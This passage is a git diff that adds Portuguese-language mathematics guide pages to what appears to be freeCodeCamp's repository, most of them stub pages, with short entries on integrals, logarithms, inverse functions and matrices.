+∫ sen (x) dx = -cos (x) + C
+
+**Regras de soma / diferença:**
+
+∫ \[f (x) + g (x)\] dx = ∫f (x) dx + ∫g (x) dx
+
+∫ \[f (x) - g (x)\] dx = ∫f (x) dx - ∫g (x) dx
+
+#### Mais Informações:
+
+[Regras básicas com exemplos](http://archive.learnhigher.ac.uk/resources/files/Numeracy/Integration_webversion.pdf)
+
+[Guia detalhado para integrais](http://tutorial.math.lamar.edu/pdf/Calculus_Cheat_Sheet_Integrals.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intercepts-from-an-equation/index.md b/client/src/guide/portuguese/mathematics/intercepts-from-an-equation/index.md
new file mode 100644
index 0000000000..4a2cc9b44f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intercepts-from-an-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Intercepts from an Equation
+localeTitle: Intercepta de uma equação
+---
+## Intercepta de uma equação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intercepts-from-an-equation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/interior-angles-of-polygons/index.md b/client/src/guide/portuguese/mathematics/interior-angles-of-polygons/index.md
new file mode 100644
index 0000000000..f06bedb937
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/interior-angles-of-polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Interior Angles of Polygons
+localeTitle: Ângulos interiores de polígonos
+---
+## Ângulos interiores de polígonos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interior-angles-of-polygons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intermediate-value-theorem/index.md b/client/src/guide/portuguese/mathematics/intermediate-value-theorem/index.md
new file mode 100644
index 0000000000..8c5a05bc5f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intermediate-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Value Theorem
+localeTitle: Teorema do Valor Intermediário
+---
+## Teorema do Valor Intermediário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intermediate-value-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/interquartile-range-iqr/index.md b/client/src/guide/portuguese/mathematics/interquartile-range-iqr/index.md
new file mode 100644
index 0000000000..4fa7f5357b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/interquartile-range-iqr/index.md
@@ -0,0 +1,11 @@
+---
+title: Interquartile Range Iqr
+localeTitle: Intervalo Interquartílico Iqr
+---
+## Intervalo Interquartílico Iqr
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interquartile-range-iqr/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intervals/index.md b/client/src/guide/portuguese/mathematics/intervals/index.md
new file mode 100644
index 0000000000..09abff02e4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Intervals
+localeTitle: Intervalos
+---
+## Intervalos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intervals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md b/client/src/guide/portuguese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
new file mode 100644
index 0000000000..eb97fa97b0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Equations and Graphs
+localeTitle: Introdução às Equações de Valor Absoluto e Gráficos
+---
+## Introdução às Equações de Valor Absoluto e Gráficos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-equations-and-graphs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-absolute-value-inequalities/index.md b/client/src/guide/portuguese/mathematics/intro-to-absolute-value-inequalities/index.md
new file mode 100644
index 0000000000..1ade88f6bc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-absolute-value-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Inequalities
+localeTitle: Introdução às Desigualdades de Valor Absoluto
+---
+## Introdução às Desigualdades de Valor Absoluto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-inequalities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-arcsine/index.md b/client/src/guide/portuguese/mathematics/intro-to-arcsine/index.md
new file mode 100644
index 0000000000..6cfab3dd89
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-arcsine/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Arcsine
+localeTitle: Introdução ao Arcsine
+---
+## Introdução ao Arcsine
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-arcsine/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-composing-functions/index.md b/client/src/guide/portuguese/mathematics/intro-to-composing-functions/index.md
new file mode 100644
index 0000000000..de3faf2e55
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-composing-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Composing Functions
+localeTitle: Introdução às funções de redação
+---
+## Introdução às funções de redação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-composing-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-graphing-two-variable-inequalities/index.md b/client/src/guide/portuguese/mathematics/intro-to-graphing-two-variable-inequalities/index.md
new file mode 100644
index 0000000000..3c554ed82a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-graphing-two-variable-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Graphing Two Variable Inequalities
+localeTitle: Introdução à Representação Gráfica de Duas Desigualdades Variáveis
+---
+## Introdução à Representação Gráfica de Duas Desigualdades Variáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-graphing-two-variable-inequalities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-inverse-functions/index.md b/client/src/guide/portuguese/mathematics/intro-to-inverse-functions/index.md
new file mode 100644
index 0000000000..9e782c680f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-inverse-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Intro to Inverse Functions
+localeTitle: Introdução às funções inversas
+---
+## Introdução às funções inversas
+
+Digamos que você estivesse tentando refletir y = 3x na linha y = x. Qual seria a equação da linha? Como você pode ver na imagem abaixo, seria y = 1 / 3x. Mas por que isso acontece? Se você trocar x e y entre si e resolver y, você pode descobrir que a equação seria a mesma. Isso é o que seria chamado de função inversa.
+
+![](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/369430.image1.jpg)
+
+[Ajude nossa comunidade a expandir este artigo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-inverse-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+“Como representar graficamente o inverso de uma função.” [Dummies.com](http://www.dummies.com/education/math/calculus/how-to-graph-the-inverse-of-a-function/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-linear-equation-standard-form/index.md b/client/src/guide/portuguese/mathematics/intro-to-linear-equation-standard-form/index.md
new file mode 100644
index 0000000000..4878bf1e5f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-linear-equation-standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Linear Equation Standard Form
+localeTitle: Introdução ao formulário padrão de equação linear
+---
+## Introdução ao formulário padrão de equação linear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-linear-equation-standard-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-logarithm-properties/index.md b/client/src/guide/portuguese/mathematics/intro-to-logarithm-properties/index.md
new file mode 100644
index 0000000000..470be52c3a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-logarithm-properties/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Logarithm Properties
+localeTitle: Introdução às propriedades do logaritmo
+---
+## Introdução às propriedades do logaritmo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-logarithm-properties/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-logarithms/index.md b/client/src/guide/portuguese/mathematics/intro-to-logarithms/index.md
new file mode 100644
index 0000000000..09a5fbb454
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-logarithms/index.md
@@ -0,0 +1,42 @@
+---
+title: Intro to Logarithms
+localeTitle: Introdução aos logaritmos
+---
+## Introdução aos logaritmos
+
+Logaritmos são funções matemáticas usadas para encontrar a potência para a qual uma base é elevada para receber uma saída específica.
+
+![diagrama de log](https://cdn.kastatic.org/googleusercontent/CfdIRZu_iMA_DFp7EilcK9igLFA42jd2hksGilRMBdINxoLKxj2LAWCjQxvj8m9E3Ik6tmVfPAFIx4whUTPp-KZw)
+
+_Aqui, no exemplo, a variável b é a base, enquanto a variável a é a saída desejada e a variável c é o expoente._
+
+Logs são usados ​​em várias coisas no mundo real. Eles são usados ​​na escala de pH, na medição da intensidade de terremotos (a Escala Richter) e em muitas outras coisas.
+
+Exemplo de logs em python:
+
+```python
+import math 
+ 
+ # math.log(value, base) - outputs exponent 
+ math.log(100, 10) #outputs 2 
+ math.log(2, 2) #outputs 1 
+```
+
+#### Fontes:
+
+*   https://betterexplained.com/articles/using-logs-in-the-real-world/
+*   https://www.khanacademy.org/math/algebra2/exponential-and-logarithmic-functions/introduction-to-logarithms/a/intro-to-logarithms
+
+### Definição de logaritmo
+
+O logaritmo de um número **x** , _log_ escrito _( **x** )_ , geralmente significa o número que você tem que usar como poder acima de 10 para obter **x** . Vamos dizer que você quer encontrar _log (10)_ . Isso significa que você quer encontrar o número que você tem que levantar 10 para obter 10. Isso nos dá uma equação: _log (10) = x_ .
+
+Podemos usar isso e aplicá-lo como uma potência de 10 em ambos os lados. Isso muda a equação para: _10 log (10) = 10 x_
+
+O _log de 10 ( **x** )_ , onde **x** é qualquer número, retornará **x** , como _10 log_ cancela. Isso significa que nossa equação é agora _10 = 10 x_
+
+Dado que _10 x_ é igual a 10 vezes ele mesmo _x_ vezes, isso significa que 10 precisa ser multiplicado consigo mesmo o suficiente para ser exatamente 10, e _x_ é, portanto, 1. Isto é porque _10 1 = 10_
+
+### Definição do logaritmo natural
+
+Isso é estritamente o mesmo que a definição de logaritmo, exceto os números que são usados. No logaritmo normal, o número base é geralmente 10, enquanto no logaritmo natural, muitas vezes escrito _ln_ , usa _e_ , o número de euler como base. Isso significa que _ln (e) = 1_ , em vez de _log (10) = 1_ . Então, ao invés disso, estamos encontrando o poder que você precisa para elevar _e_ para in _ln ( **x** )_ .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-long-division-of-polynomials/index.md b/client/src/guide/portuguese/mathematics/intro-to-long-division-of-polynomials/index.md
new file mode 100644
index 0000000000..2d20a2bc53
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-long-division-of-polynomials/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Long Division of Polynomials
+localeTitle: Introdução à longa divisão de polinômios
+---
+## Introdução à longa divisão de polinômios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-long-division-of-polynomials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-matrices/index.md b/client/src/guide/portuguese/mathematics/intro-to-matrices/index.md
new file mode 100644
index 0000000000..4cdc67794c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-matrices/index.md
@@ -0,0 +1,23 @@
+---
+title: Intro to Matrices
+localeTitle: Introdução às Matrizes
+---
+## Introdução às Matrizes
+
+Uma matriz é composta por um array 2D, ou melhor, um array retangular. Abaixo você pode ver como está organizado.
+
+![texto alternativo](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bb/Matrix.svg/494px-Matrix.svg.png)
+
+É composto por linhas e colunas. Então, se você quiser o número 7 da matriz abaixo, você precisa obter o elemento na posição (2,3), segunda linha, terceira coluna.
+
+![texto alternativo](https://wikimedia.org/api/rest_v1/media/math/render/svg/55375914df4213b621f22cb1e5a0d6eb09af29df)
+
+As operações usuais funcionam para matrizes, mas a adição e a subtração são feitas nos elementos da mesma posição (portanto, as duas matrizes precisam ter o mesmo tamanho). A multiplicação é diferente, então matriz A x matriz B, A precisa ter o mesmo tamanho de transposição de B.
+
+Transpose é a operação de inverter as linhas e colunas de uma matriz.
+
+![texto alternativo](https://wikimedia.org/api/rest_v1/media/math/render/svg/51f6dba024e104b412ed0562163ca9a11fcb9463)
+
+#### Mais Informações:
+
+[Wikipedia](https://en.wikipedia.org/wiki/Matrix_(mathematics))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-matrix-multiplication/index.md b/client/src/guide/portuguese/mathematics/intro-to-matrix-multiplication/index.md
new file mode 100644
index 0000000000..ed663e2a6b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Matrix Multiplication
+localeTitle: Introdução à multiplicação de matrizes
+---
+## Introdução à multiplicação de matrizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-matrix-multiplication/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-partial-fraction-expansion/index.md b/client/src/guide/portuguese/mathematics/intro-to-partial-fraction-expansion/index.md
new file mode 100644
index 0000000000..2dc9dea4a3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-partial-fraction-expansion/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Partial Fraction Expansion
+localeTitle: Introdução à expansão parcial da fração
+---
+## Introdução à expansão parcial da fração
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-partial-fraction-expansion/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-point-slope-form/index.md b/client/src/guide/portuguese/mathematics/intro-to-point-slope-form/index.md
new file mode 100644
index 0000000000..31b5dd90d4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Point Slope Form
+localeTitle: Introdução à forma da inclinação do ponto
+---
+## Introdução à forma da inclinação do ponto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-point-slope-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-polynomial-synthetic-division/index.md b/client/src/guide/portuguese/mathematics/intro-to-polynomial-synthetic-division/index.md
new file mode 100644
index 0000000000..6210126ace
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-polynomial-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Polynomial Synthetic Division
+localeTitle: Introdução à Divisão Sintética Polinomial
+---
+## Introdução à Divisão Sintética Polinomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-polynomial-synthetic-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-rational-and-irrational-numbers/index.md b/client/src/guide/portuguese/mathematics/intro-to-rational-and-irrational-numbers/index.md
new file mode 100644
index 0000000000..ada5c3a132
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-rational-and-irrational-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Rational and Irrational Numbers
+localeTitle: Introdução aos números racionais e irracionais
+---
+## Introdução aos números racionais e irracionais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-rational-and-irrational-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-slope-intercept-form/index.md b/client/src/guide/portuguese/mathematics/intro-to-slope-intercept-form/index.md
new file mode 100644
index 0000000000..f66f2b2200
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Slope Intercept Form
+localeTitle: Introdução ao formulário de interceptação de inclinação
+---
+## Introdução ao formulário de interceptação de inclinação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-slope-intercept-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-the-binomial-theorem/index.md b/client/src/guide/portuguese/mathematics/intro-to-the-binomial-theorem/index.md
new file mode 100644
index 0000000000..e263fccaa1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-the-binomial-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Binomial Theorem
+localeTitle: Introdução ao Teorema Binomial
+---
+## Introdução ao Teorema Binomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-binomial-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/intro-to-the-trigonometric-ratios/index.md b/client/src/guide/portuguese/mathematics/intro-to-the-trigonometric-ratios/index.md
new file mode 100644
index 0000000000..d08c02efcd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/intro-to-the-trigonometric-ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Trigonometric Ratios
+localeTitle: Introdução às relações trigonométricas
+---
+## Introdução às relações trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-trigonometric-ratios/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/introduction-to-derivatives/index.md b/client/src/guide/portuguese/mathematics/introduction-to-derivatives/index.md
new file mode 100644
index 0000000000..4f2ae1df09
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/introduction-to-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Derivatives
+localeTitle: Introdução aos Derivados
+---
+## Introdução aos Derivados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-derivatives/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md b/client/src/guide/portuguese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
new file mode 100644
index 0000000000..5dff64055f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Eigenvalues and Eigenvectors
+localeTitle: Introdução aos Autovalores e Autovetores
+---
+## Introdução aos Autovalores e Autovetores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/introduction-to-logarithms/index.md b/client/src/guide/portuguese/mathematics/introduction-to-logarithms/index.md
new file mode 100644
index 0000000000..bd10575ba5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/introduction-to-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Logarithms
+localeTitle: Introdução aos logaritmos
+---
+## Introdução aos logaritmos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-logarithms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/introduction-to-partial-derivatives/index.md b/client/src/guide/portuguese/mathematics/introduction-to-partial-derivatives/index.md
new file mode 100644
index 0000000000..c59f3a2083
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/introduction-to-partial-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Partial Derivatives
+localeTitle: Introdução aos Derivados Parciais
+---
+## Introdução aos Derivados Parciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-partial-derivatives/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/introduction-to-trigonometric-substitution/index.md b/client/src/guide/portuguese/mathematics/introduction-to-trigonometric-substitution/index.md
new file mode 100644
index 0000000000..fbe8692190
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/introduction-to-trigonometric-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Trigonometric Substitution
+localeTitle: Introdução à substituição trigonométrica
+---
+## Introdução à substituição trigonométrica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-trigonometric-substitution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/inverse-functions/index.md b/client/src/guide/portuguese/mathematics/inverse-functions/index.md
new file mode 100644
index 0000000000..8df4d236fb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inverse-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Functions
+localeTitle: Funções Inversas
+---
+## Funções Inversas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md b/client/src/guide/portuguese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
new file mode 100644
index 0000000000..6f7ecb0eab
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse of a Matrix Using Minors Cofactors and Adjugate
+localeTitle: Inversão de uma Matriz Usando Cofatores Menores e Adjugado
+---
+## Inversão de uma Matriz Usando Cofatores Menores e Adjugado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/inverse-sine-cosine-tangent/index.md b/client/src/guide/portuguese/mathematics/inverse-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..7cbb03b078
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inverse-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Sine Cosine Tangent
+localeTitle: Tangente Senoidal Inverso
+---
+## Tangente Senoidal Inverso
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-sine-cosine-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/inverse-tangent/index.md b/client/src/guide/portuguese/mathematics/inverse-tangent/index.md
new file mode 100644
index 0000000000..2f55317137
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inverse-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Tangent
+localeTitle: Tangente Inversa
+---
+## Tangente Inversa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
